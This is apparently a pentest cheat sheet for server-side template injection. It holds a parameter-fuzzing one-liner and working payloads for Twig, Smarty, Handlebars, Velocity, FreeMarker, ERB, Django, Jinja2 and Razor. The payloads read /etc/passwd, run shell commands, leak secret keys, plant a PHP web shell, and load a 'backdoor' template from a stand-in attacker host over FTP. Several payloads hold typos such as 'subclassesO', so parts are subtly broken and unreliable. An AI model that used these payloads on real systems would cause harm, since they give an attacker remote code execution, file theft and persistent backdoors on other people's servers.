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SSTI
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# Tool
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# https://github.com/epinna/tplmap
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tplmap.py -u 'http://www.target.com/page?name=John'
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​
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# Payloads
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# https://github.com/payloadbox/ssti-payloads
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​
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# Oneliner
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# Check SSTI in all param with qsreplace
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waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
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ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/
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# Check in burp for reponses with ssti81
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​
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# Generic
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${{<%[%'"}}%\.
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{% debug %}
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{7*7}
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{{ '7'*7 }}
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{{ [] .class.base.subclassesO }}
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{{''.class.mro()[l] .subclassesO}}
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for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
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{{ [].__class__.__base__.__subclasses__O }}
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​
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# PHP Based
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{php}print "Hello"{/php}
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{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
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{{7*7}}
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{{7*'7'}}
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{{dump(app)}}
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{{app.request.server.all|join(',')}}
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"{{'/etc/passwd'|file_excerpt(1,30)}}"@
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{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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{$smarty.version}
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{php}echo `id`;{/php}
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{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
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​
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# Node.js Backend based
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{{ this }}-> [Object Object]
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{{ this.__proto__ }}-> [Object Object]
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{{ this.__proto__.constructor.name }}-> Object
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{{this.constructor.constructor}}
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{{this. constructor. constructor('process.pid')()}}
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{{#with "e"}}
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{{#with split as |conslist|}}
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{{this.pop}}
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{{this.push (lookup string.sub "constructor")}}
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{{this.pop}}
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{{#with string.split as |codelist|}}
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{{this.pop}}
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{{this.push "return require('child_process').exec('whoami');"}}
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{{this.pop}}
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{{#each conslist}}
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{{#with (string.sub.apply 0 codelist)}}
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{{this}}
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{{/with}}
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{{/each}}
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#set($str=$class.inspect("java.lang.String").type)
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#set($chr=$class.inspect("java.lang.Character").type)
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#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
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$ex.waitFor()
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#set($out=$ex.getInputStream())
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#foreach($i in [1..$out.available()])
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$str.valueOf($chr.toChars($out.read()))
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#end
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​
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# Java
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${7*7}
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<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
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${{7*7}}
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${class.getClassLoader()}
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${class.getResource("").getPath()}
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${class.getResource("../../../../../index.htm").getContent()}
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${T(java.lang.System).getenv()}
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${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
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​
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# Ruby
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<%= system("whoami") %>
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<%= Dir.entries('/') %>
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<%= File.open('/example/arbitrary-file').read %>
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​
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# Python
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{% debug %}
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{{settings.SECRET_KEY}}
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{% import foobar %} = Error
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{% import os %}{{os.system('whoami')}}
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​
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# Perl
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<%= perl code %>
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<% perl code %>
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​
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# Flask/Jinja2
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{{ '7'*7 }}
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{{ [].class.base.subclasses() }} # get all classes
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{{''.class.mro()[1].subclasses()}}
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{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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​
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# .Net
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@(1+2)
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@{// C# code}
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